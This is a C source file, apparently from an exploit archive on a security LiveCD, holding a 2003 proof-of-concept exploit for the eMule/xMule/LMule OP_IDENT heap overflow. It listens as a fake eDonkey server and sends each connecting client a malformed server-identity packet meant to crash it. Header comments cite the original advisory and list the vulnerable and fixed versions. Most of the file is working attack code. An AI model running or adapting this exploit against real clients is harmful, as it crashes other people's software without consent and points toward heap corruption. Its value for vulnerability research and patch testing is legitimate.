home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / emule / erasemul.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  211 lines

  1. /*
  2.  * eMule/xMule/LMule OP_IDENT Heap Overflow vulnerability
  3.  * (SecurityFocus BID 8440)
  4.  * proof of concept code
  5.  * version 1.0 (Sep 01 2003)
  6.  *
  7.  * by RΘmi Denis-Courmont <exploit@simutrans.fr.st>
  8.  *   http://www.simphalempin.com/dev/
  9.  *
  10.  * This vulnerability was found by:
  11.  *   Stefan Esser <s.esser@e-matters.de>
  12.  * whose original advisory may be fetched from:
  13.  *   http://security.e-matters.de/advisories/022003.html
  14.  *
  15.  * Vulnerable:
  16.  *  - eMule v0.29a -> crash
  17.  *  - xMule stable v1.4.3 -> crash
  18.  *  - xMule unstable v1.5.6a -> crash
  19.  *  - Lmule v1.3.1 (NOT tested) -> ???
  20.  *
  21.  * Not vulnerable:
  22.  *  - xMule stable v1.6.0,
  23.  *  - eMule v0.29b.
  24.  *
  25.  *   It might be possible to exploit this vulnerability, as you can overwrite
  26.  * about 60Kb of heap memory, but it's obviously not going to be trivial.
  27.  * However, please keep in mind that getting clients to connect to your
  28.  * computer, while not impossible, will be very very hard: Even though many
  29.  * clients adds current server of other clients to their own server lists, so
  30.  * that you can promote yourself as a server by actively connecting to others,
  31.  * it is unlikely that your "server" will be selected from the list which
  32.  * often exceeds 100 entries.
  33.  *   Anyway, the following proof-of-concept is entirely passive, so you will
  34.  * probably only be able to test it against yourself (which is very fine,
  35.  * because you usually are you only legal victim).
  36.  */
  37.  
  38.  
  39. /*****************************************************************************
  40.  * Copyright (C) 2003  RΘmi Denis-Courmont.  All rights reserved.            *
  41.  *                                                                           *
  42.  * Redistribution and use in source and binary forms, with or without        *
  43.  * modification, are permitted provided that the following conditions        *
  44.  * are met:                                                                  *
  45.  * 1. Redistributions of source code must retain the above copyright         *
  46.  *    notice, this list of conditions and the following disclaimer.          *
  47.  * 2. Redistributions in binary form must reproduce the above copyright      *
  48.  *    notice, this list of conditions and the following disclaimer in the    *
  49.  *    documentation and/or other materials provided with the distribution.   *
  50.  *                                                                           *
  51.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
  52.  * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
  53.  * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
  54.  * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
  55.  * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
  56.  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
  57.  * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
  58.  * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
  59.  * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
  60.  * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
  61.  *****************************************************************************/
  62.  
  63. #include <stdio.h>
  64. #include <stdint.h>
  65. #include <sys/types.h>
  66. #include <sys/socket.h>
  67. #include <unistd.h>
  68. #include <netdb.h>
  69.  
  70. int gai_errno = 0;
  71.  
  72. void
  73. gai_perror (const char *str)
  74. {
  75.     if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
  76.         perror (str);
  77.     else
  78.         fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
  79. }
  80.  
  81.  
  82. int
  83. socket_listen (const char *hostname, const char *servname)
  84. {
  85.     struct addrinfo hints, *res;
  86.  
  87.     hints.ai_family = PF_INET;
  88.     hints.ai_socktype = SOCK_STREAM;
  89.     hints.ai_protocol = 0;
  90.     hints.ai_flags = AI_PASSIVE;
  91.  
  92.     if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
  93.     {
  94.         struct addrinfo *ptr;
  95.  
  96.         for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
  97.         {
  98.             int sock;
  99.  
  100.             sock = socket (ptr->ai_family, ptr->ai_socktype,
  101.                     ptr->ai_protocol);
  102.             if (sock != -1)
  103.             {
  104.                 const int val = 1;
  105.  
  106.                 setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
  107.                         &val, sizeof (val));
  108.                 if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
  109.                  || listen (sock, INT_MAX))
  110.                     close (sock);
  111.                 else
  112.                 {
  113.                     /* success! */
  114.                     freeaddrinfo (res);
  115.                     return sock;
  116.                 }
  117.             }
  118.         }
  119.         freeaddrinfo (res);
  120.     }
  121.     return -1;
  122. }
  123.  
  124.  
  125. int
  126. send_server_message (int fd/*, const char *message*/)
  127. {
  128.     /*
  129.      * Note that eDonkey is an Intel-centric protocol that sends/receives
  130.      * everything in counter-network-byte order (ie. low order first).
  131.      */
  132.     uint8_t buf[] =
  133.         "\xE3" // protocol
  134.         "\x27\x00\x00\x00" // packet size
  135.         "\x41" // command (Server identity)
  136.         "\xff\xff\xff\xff\xff\xff\xff\xff"
  137.         "\xff\xff\xff\xff\xff\xff\xff\xff"
  138.         "\xff\xff\xff\xff\xff\xff\xff\xff"
  139.         "\xff\xff\xff\xff\xff\xff\xff\xff"
  140.         "\xff\xff\xff\xff\xff\xff";
  141.  
  142.     return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
  143. }
  144.  
  145.  
  146. static int
  147. usage (const char *path)
  148. {
  149.     printf (
  150. "Syntax: %s [port [hostname|IP]]\n"
  151. "        Attempt to crash eMule/xMule/LMule clients which will connect to\n"
  152. "        the specified server port (or 4661 by default), at the local\n"
  153. "        host address (or any available address by default)\n", path);
  154.  
  155.     return 2;
  156. }
  157.  
  158.  
  159. int
  160. main (int argc, char *argv[])
  161. {
  162.     puts ("eMule/xMule/LMule OP_SERVERIDENT Heap Overflow vulnerability\n"
  163.         "proof of concept code\n"
  164.         "Copyright (C) 2003 RΘmi Denis-Courmont "
  165.             "<exploit@simutrans.fr.st>\n");
  166.     if (argc > 3)
  167.         return usage (argv[0]);
  168.     else
  169.     {
  170.         int listenfd;
  171.         const char *host, *port;
  172.  
  173.         port = (argc < 2) ? "4661" : argv[1];
  174.         host = (argc < 3) ? NULL : argv[2];
  175.         printf ("Binding to [%s]:%s ...\n",
  176.             (host != NULL) ? host : "any", port);
  177.         listenfd = socket_listen (host, port);
  178.         if (listenfd == -1)
  179.         {
  180.             gai_perror (host);
  181.             return 1;
  182.         }
  183.  
  184.         while (1)
  185.         {
  186.             int clientfd;
  187.  
  188.             fputs ("Waiting for a client to connect ... ", stdout);
  189.             clientfd = accept (listenfd, NULL, 0);
  190.             if (clientfd == -1)
  191.             {
  192.                 puts ("");
  193.                 perror ("Error");
  194.                 continue;
  195.             }
  196.             puts ("OK");
  197.             fputs ("Sending deadly server identity ... ", stdout);
  198.             if (send_server_message (clientfd))
  199.             {
  200.                 puts ("");
  201.                 perror ("Error");
  202.             }
  203.             else
  204.                 puts ("Done");
  205.             close (clientfd);
  206.         }
  207.     }
  208.  
  209.     return 0; /* dead code */
  210. }
  211.